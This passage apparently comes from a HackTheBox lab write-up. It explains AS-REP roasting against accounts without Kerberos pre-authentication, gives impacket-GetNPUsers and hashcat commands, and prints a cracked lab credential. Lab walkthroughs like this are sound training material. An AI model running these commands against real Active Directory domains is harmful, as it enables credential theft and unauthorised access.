Normally, users are required to prove their identity during the initial authentication process. This is known as pre-authentication, and it helps prevent certain attacks. However, some user accounts may be configured to not require pre-authentication. These accounts are potentially vulnerable to certain attacks.

The `GetNPUsers` script takes advantage of this by attempting to request TGTs for user accounts that don't require pre-authentication. Instead of providing a password during the request, the script attempts to exploit the lack of pre-authentication requirement to extract TGTs without a password.
Copy

impacket-GetNPUsers -dc-ip 10.10.10.161 -request 'htb.local/'
Copy

impacket-GetNPUsers -dc-ip 10.10.10.161 -request 'htb.local/' -format hashcat
Copy

cracking the hash with hashcat

hashcat hash /usr/share/wordlists/rockyou.txt
Copy

svc-alfresco:s3rvice
Copy